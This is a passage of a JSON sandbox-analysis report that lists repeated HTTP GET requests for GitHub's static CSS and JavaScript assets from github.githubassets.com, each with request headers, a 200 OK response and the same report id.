.NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)\nHost: github.githubassets.com\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"host":"github.githubassets.com","host_ip":"185.199.110.154:443","url":"/assets/primer-cba26849680f.css","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /assets/primer-cba26849680f.css HTTP/1.1\nAccept: */*\nAccept-Language: en-US\nUA-CPU: AMD64\nAccept-Encoding: gzip, deflate\nUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)\nHost: github.githubassets.com\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"host":"github.githubassets.com","host_ip":"185.199.110.154:443","url":"/assets/global-2cef982e4161.css","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /assets/global-2cef982e4161.css HTTP/1.1\nAccept: */*\nAccept-Language: en-US\nUA-CPU: AMD64\nAccept-Encoding: gzip, deflate\nUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)\nHost: github.githubassets.com\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"host":"github.githubassets.com","host_ip":"185.199.110.154:443","url":"/assets/github-22c3a4e9b13b.css","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /assets/github-22c3a4e9b13b.css HTTP/1.1\nAccept: */*\nAccept-Language: en-US\nUA-CPU: AMD64\nAccept-Encoding: gzip, deflate\nUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)\nHost: github.githubassets.com\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"host":"github.githubassets.com","host_ip":"185.199.110.154:443","url":"/assets/site-62271ce87619.css","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /assets/site-62271ce87619.css HTTP/1.1\nAccept: */*\nAccept-Language: en-US\nUA-CPU: AMD64\nAccept-Encoding: gzip, deflate\nUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)\nHost: github.githubassets.com\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"host":"github.githubassets.com","host_ip":"185.199.110.154:443","url":"/assets/error-3bfb6168c7d5.css","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /assets/error-3bfb6168c7d5.css HTTP/1.1\nAccept: */*\nAccept-Language: en-US\nUA-CPU: AMD64\nAccept-Encoding: gzip, deflate\nUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)\nHost: github.githubassets.com\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"host":"github.githubassets.com","host_ip":"185.199.110.154:443","url":"/assets/primer-react.12697aeead627392972a.module.css","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /assets/primer-react.12697aeead627392972a.module.css HTTP/1.1\nAccept: */*\nAccept-Language: en-US\nUA-CPU: AMD64\nAccept-Encoding: gzip, deflate\nUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)\nHost: github.githubassets.com\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"host":"github.githubassets.com","host_ip":"185.199.110.154:443","url":"/assets/wp-runtime-acdf584e8279.js","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /assets/wp-runtime-acdf584e8279.js HTTP/1.1\nAccept: */*\nAccept-Language: en-US\nUA-CPU: AMD64\nAccept-Encoding: gzip, deflate\nUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)\nHost: github.githubassets.com\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"host":"github.githubassets.com","host_ip":"185.199.110.154:443","url":"/assets/vendors-node_modules_oddbird_popover-polyfill_dist_popover-fn_js-81211bd82278.js","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /assets/vendors-node_modules_oddbird_popover-polyfill_dist_popover-fn_js-81211bd82278.js HTTP/1.1\nAccept: */*\nAccept-Language: en-US\nUA-CPU: AMD64\nAccept-Encoding: gzip, deflate\nUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)\nHost: github.githubassets.com\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"host":"github.githubassets.com","host_ip":"185.199.110.154:443","url":"/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_stacktrace-parser_dist_s-1d3d52-4be8ffe9a34a.js","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_stacktrace-parser_dist_s-1d3d52-4be8ffe9a34a.js HTTP/1.1\nAccept: */*\nAccept-Language: en-US\nUA-CPU: AMD64\nAccept-Encoding: gzip, deflate\nUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)\nHost: github.githubassets.com\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"host":"github.githubassets.com","host_ip":"185.199.110.154:443","url":"/assets/ui_packages_failbot_failbot_ts-aed0572c1e67.js","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /assets/ui_packages_failbot_failbot_ts-aed0572c1e67.js HTTP/1.1\nAccept: */*\nAccept-Language: en-US\nUA-CPU: AMD64\nAccept-Encoding: gzip, deflate\nUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)\nHost: github.githubassets.com\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"host":"github.githubassets.com","host_ip":"185.199.110.154:443","url":"/assets/environment-1c93e446366f.js","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /assets/environment-1c93e446366f.js HTTP/1.1\nAccept: */*\nAccept-Language: en-US\nUA-CPU: AMD64\nAccept-Encoding: gzip, deflate\nUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)\nHost: github.githubassets.com\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"host":"github.githubassets.com","host_ip":"185.199.110.154:443","url":"/assets/vendors-node_modules_primer_behaviors_dist_esm_index_mjs-0dbb79f97f8f.js","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /assets/vendors-node_modules_primer_behaviors_dist_esm_index_mjs-0dbb79f97f8f.js HTTP/1.1\nAccept: */*\nAccept-Language: en-US\nUA-CPU: AMD64\nAccept-Encoding: gzip, deflate\nUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)\nHost: github.githubassets.com\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"host":"github.githubassets.com","host_ip":"185.199.110.154:443","url":"/assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-f690fd9ae3d5.js","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-f690fd9ae3d5.js HTTP/1.1\nAccept: */*\nAccept-Language: en-US\nUA-CPU: AMD64\nAccept-Encoding: gzip, deflate\nUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)\nHost: github.githubassets.com\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"host":"github.githubassets.com","host_ip":"185.199.110.154:443","url":"/assets/vendors-node_modules_github_relative-time-element_dist_index_js-62d275b7ddd9.js","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /assets/vendors-node_modules_github_relative-time-element_dist_index_js-62d275b7ddd9.js HTTP/1.1\nAccept: */*\nAccept-Language: en-US\nUA-CPU: AMD64\nAccept-Encoding: gzip, deflate\nUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)\nHost: github.githubassets.com\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"host":"github.githubassets.com","host_ip":"185.199.110.154:443","url":"/assets/vendors-node_modules_github_text-expander-element_dist_index_js-78748950cb0c.js","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /assets/vendors-node_modules_github_text-expander-element_dist_index_js-78748950cb0c.js HTTP/1.1\nAccept: */*\nAccept-Language: en-US\nUA-CPU: AMD64\nAccept-Encoding: gzip, deflate\nUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)\nHost: github.githubassets.com\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"host":"github.githubassets.com","host_ip":"185.199.110.154:443","url":"/assets/vendors-node_modules_github_auto-complete-element_dist_index_js-node_modules_github_catalyst_-8e9f78-a90ac05d2469.js","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /assets/vendors-node_modules_github_auto-complete-element_dist_index_js-node_modules_github_catalyst_-8e9f78-a90ac05d2469.js HTTP/1.1\nAccept: */*\nAccept-Language: en-US\nUA-CPU: AMD64\nAccept-Encoding: gzip, deflate\nUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)\nHost: github.githubassets.com\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"host":"github.githubassets.com","host_ip":"185.199.110.154:443","url":"/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-d8c643-f5192902810f.js","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-d8c643-f5192902810f.js HTTP/1.1\nAccept: */*\nAccept-Language: en-US\nUA-CPU: AMD64\nAccept-Encoding: gzip, deflate\nUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)\nHost: github.githubassets.com\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"host":"github.githubassets.com","host_ip":"185.199.110.154:443","url":"/assets/vendors-node_modules_github_markdown-toolbar-element_dist_index_js-ceef33f593fa.js","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /assets/vendors-node_modules_github_markdown-toolbar-element_dist_index_js-ceef33f593fa.js HTTP/1.1\nAccept: */*\nAccept-Language: en-US\nUA-CPU: AMD64\nAccept-Encoding: gzip, deflate\nUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)\nHost: github.githubassets.com\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"host":"github.githubassets.com","host_ip":"185.199.110.154:443","url":"/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_primer_view-co-07e635-2bb803cf8a63.js","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_primer_view-co-07e635-2bb803cf8a63.js HTTP/1.1\nAccept: */*\nAccept-Language: en-US\nUA-CPU: AMD64\nAccept-Encoding: gzip, deflate\nUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)\nHost: github.githubassets.com\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"host":"github.githubassets.com","host_ip":"185.199.110.154:443","url":"/assets/github-elements-d4322ee6735b.js","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /assets/github-elements-d4322ee6735b.js HTTP/1.1\nAccept: */*\nAccept-Language: en-US\nUA-CPU: AMD64\nAccept-Encoding: gzip, deflate\nUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)\nHost: github.githubassets.com\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"host":"github.githubassets.com","host_ip":"185.199.110.154:443","url":"/assets/vendors-node_modules_braintree_browser-detection_dist_browser-detection_js-node_modules_githu-bb80ec-72267f4e3ff9.js","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /assets/vendors-node_modules_braintree_browser-detection_dist_browser-detection_js-node_modules_githu-bb80ec-72267f4e3ff9.js HTTP/1.1\nAccept: */*\nAccept-Language: en-US\nUA-CPU: AMD64\nAccept-Encoding: gzip, deflate\nUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)\nHost: github.githubassets.com\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"host":"github.githubassets.com","host_ip":"185.199.110.154:443","url":"/assets/element-registry-c7475cff79ff.js","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /assets/element-registry-c7475cff79ff.js HTTP/1.1\nAccept: */*\nAccept-Language: en-US\nUA-CPU: AMD64\nAccept-Encoding: gzip, deflate\nUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)\nHost: github.githubassets.com\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"host":"github.githubassets.com","host_ip":"185.199.110.154:443","url":"/assets/vendors-node_modules_lit-html_lit-html_js-be8cb88f481b.js","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /assets/vendors-node_modules_lit-html_lit-html_js-be8cb88f481b.js HTTP/1.1\nAccept: */*\nAccept-Language: en-US\nUA-CPU: AMD64\nAccept-Encoding: gzip, deflate\nUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)\nHost: github.githubassets.com\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"host":"github.githubassets.com","host_ip":"185.199.110.154:443","url":"/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-0c08218c7d5f.js","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-0c08218c7d5f.js HTTP/1.1\nAccept: */*\nAccept-Language: en-US\nUA-CPU: AMD64\nAccept-Encoding: gzip, deflate\nUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)\nHost: github.githubassets.com\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"host":"github.githubassets.com","host_ip":"185.199.110.154:443","url":"/assets/vendors-node_modules_fzy_js_index_js-node_modules_github_paste-markdown_dist_index_js-6c00013a3dc4.js","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /assets/vendors-node_modules_fzy_js_index_js-node_modules_github_paste-markdown_dist_index_js-6c00013a3dc4.js HTTP/1.1\nAccept: */*\nAccept-Language: en-US\nUA-CPU: AMD64\nAccept-Encoding: gzip, deflate\nUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)\nHost: github.githubassets.com\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"host":"github.githubassets.com","host_ip":"185.199.110.154:443","url":"/assets/vendors-node_modules_github_turbo_dist_turbo_es2017-esm_js-a03ee12d659a.js","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /assets/vendors-node_modules_github_turbo_dist_turbo_es2017-esm_js-a03ee12d659a.js HTTP/1.1\nAccept: */*\nAccept-Language: en-US\nUA-CPU: AMD64\nAccept-Encoding: gzip, deflate\nUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)\nHost: github.githubassets.com\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"host":"github.githubassets.com","host_ip":"185.199.110.154:443","url":"/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-893f9f-b6294cf703b7.js","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-893f9f-b6294cf703b7.js HTTP/1.1\nAccept: */*\nAccept-Language: en-US\nUA-CPU: AMD64\nAccept-Encoding: gzip, deflate\nUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)\nHost: github.githubassets.com\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"host":"github.githubassets.com","host_ip":"185.199.110.154:443","url":"/assets/vendors-node_modules_color-convert_index_js-e3180fe3bcb3.js","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /assets/vendors-node_modules_color-convert_index_js-e3180fe3bcb3.js HTTP/1.1\nAccept: */*\nAccept-Language: en-US\nUA-CPU: AMD64\nAccept-Encoding: gzip, deflate\nUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)\nHost: github.githubassets.com\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"host":"github.githubassets.com","host_ip":"185.199.110.154:443","url":"/assets/vendors-node_modules_github_quote-selection_dist_index_js-node_modules_github_session-resume_-c1aa61-aced08c4fb3f.js","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /assets/vendors-node_modules_github_quote-selection_dist_index_js-node_modules_github_session-resume_-c1aa61-aced08c4fb3f.js HTTP/1.1\nAccept: */*\nAccept-Language: en-US\nUA-CPU: AMD64\nAccept-Encoding: gzip, deflate\nUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)\nHost: github.githubassets.com\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"host":"github.githubassets.com","host_ip":"185.199.110.154:443","url":"/assets/ui_packages_updatable-content_updatable-content_ts-62f3e9c52ece.js","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /assets/ui_packages_updatable-content_updatable-content_ts-62f3e9c52ece.js HTTP/1.1\nAccept: */*\nAccept-Language: en-US\nUA-CPU: AMD64\nAccept-Encoding: gzip, deflate\nUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)\nHost: github.githubassets.com\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"host":"github.githubassets.com","host_ip":"185.199.110.154:443","url":"/assets/app_assets_modules_github_behaviors_task-list_ts-app_assets_modules_github_sso_ts-ui_packages-900dde-768abe60b1f8.js","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /assets/app_assets_modules_github_behaviors_task-list_ts-app_assets_modules_github_sso_ts-ui_packages-900dde-768abe60b1f8.js HTTP/1.1\nAccept: */*\nAccept-Language: en-US\nUA-CPU: AMD64\nAccept-Encoding: gzip, deflate\nUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)\nHost: github.githubassets.com\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"host":"github.githubassets.com","host_ip":"185.199.110.154:443","url":"/assets/app_assets_modules_github_sticky-scroll-into-view_ts-3e000c5d31a9.js","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /assets/app_assets_modules_github_sticky-scroll-into-view_ts-3e000c5d31a9.js HTTP/1.1\nAccept: */*\nAccept-Language: en-US\nUA-CPU: AMD64\nAccept-Encoding: gzip, deflate\nUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)\nHost: github.githubassets.com\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"host":"github.githubassets.com","host_ip":"185.199.110.154:443","url":"/assets/app_assets_modules_github_behaviors_ajax-error_ts-app_assets_modules_github_behaviors_include-d0d0a6-7cc66dc86dd7.js","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /assets/app_assets_modules_github_behaviors_ajax-error_ts-app_assets_modules_github_behaviors_include-d0d0a6-7cc66dc86dd7.js HTTP/1.1\nAccept: */*\nAccept-Language: en-US\nUA-CPU: AMD64\nAccept-Encoding: gzip, deflate\nUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)\nHost: github.githubassets.com\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"host":"github.githubassets.com","host_ip":"185.199.110.154:443","url":"/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-4bcbbbfbe1d4.js","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-4bcbbbfbe1d4.js HTTP/1.1\nAccept: */*\nAccept-Language: en-US\nUA-CPU: AMD64\nAccept-Encoding: gzip, deflate\nUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)\nHost: github.githubassets.com\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"host":"github.githubassets.com","host_ip":"185.199.110.154:443","url":"/assets/ui_packages_alive_alive_ts-ui_packages_favicon_favicon_ts-ui_packages_hotkey_keyboard-shortcu-30cc64-4f2226f8b82b.js","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /assets/ui_packages_alive_alive_ts-ui_packages_favicon_favicon_ts-ui_packages_hotkey_keyboard-shortcu-30cc64-4f2226f8b82b.js HTTP/1.1\nAccept: */*\nAccept-Language: en-US\nUA-CPU: AMD64\nAccept-Encoding: gzip, deflate\nUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)\nHost: github.githubassets.com\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"host":"github.githubassets.com","host_ip":"185.199.110.154:443","url":"/assets/behaviors-9b314b6f4e79.js","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /assets/behaviors-9b314b6f4e79.js HTTP/1.1\nAccept: */*\nAccept-Language: en-US\nUA-CPU: AMD64\nAccept-Encoding: gzip, deflate\nUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)\nHost: github.githubassets.com\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"host":"github.githubassets.com","host_ip":"185.199.110.154:443","url":"/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-f6223d90c7ba.js","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-f6223d90c7ba.js HTTP/1.1\nAccept: */*\nAccept-Language: en-US\nUA-CPU: AMD64\nAccept-Encoding: gzip, deflate\nUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)\nHost: github.githubassets.com\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"host":"github.githubassets.com","host_ip":"185.199.110.154:443","url":"/assets/notifications-global-01e85cd1be94.js","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /assets/notifications-global-01e85cd1be94.js HTTP/1.1\nAccept: */*\nAccept-Language: en-US\nUA-CPU: AMD64\nAccept-Encoding: gzip, deflate\nUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)\nHost: github.githubassets.com\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"host":"github.githubassets.com","host_ip":"185.199.110.154:443","url":"/assets/primer-react-185cf474198e.js","method":"GET","response_code":"200","response_phrase":"OK","header":"GET 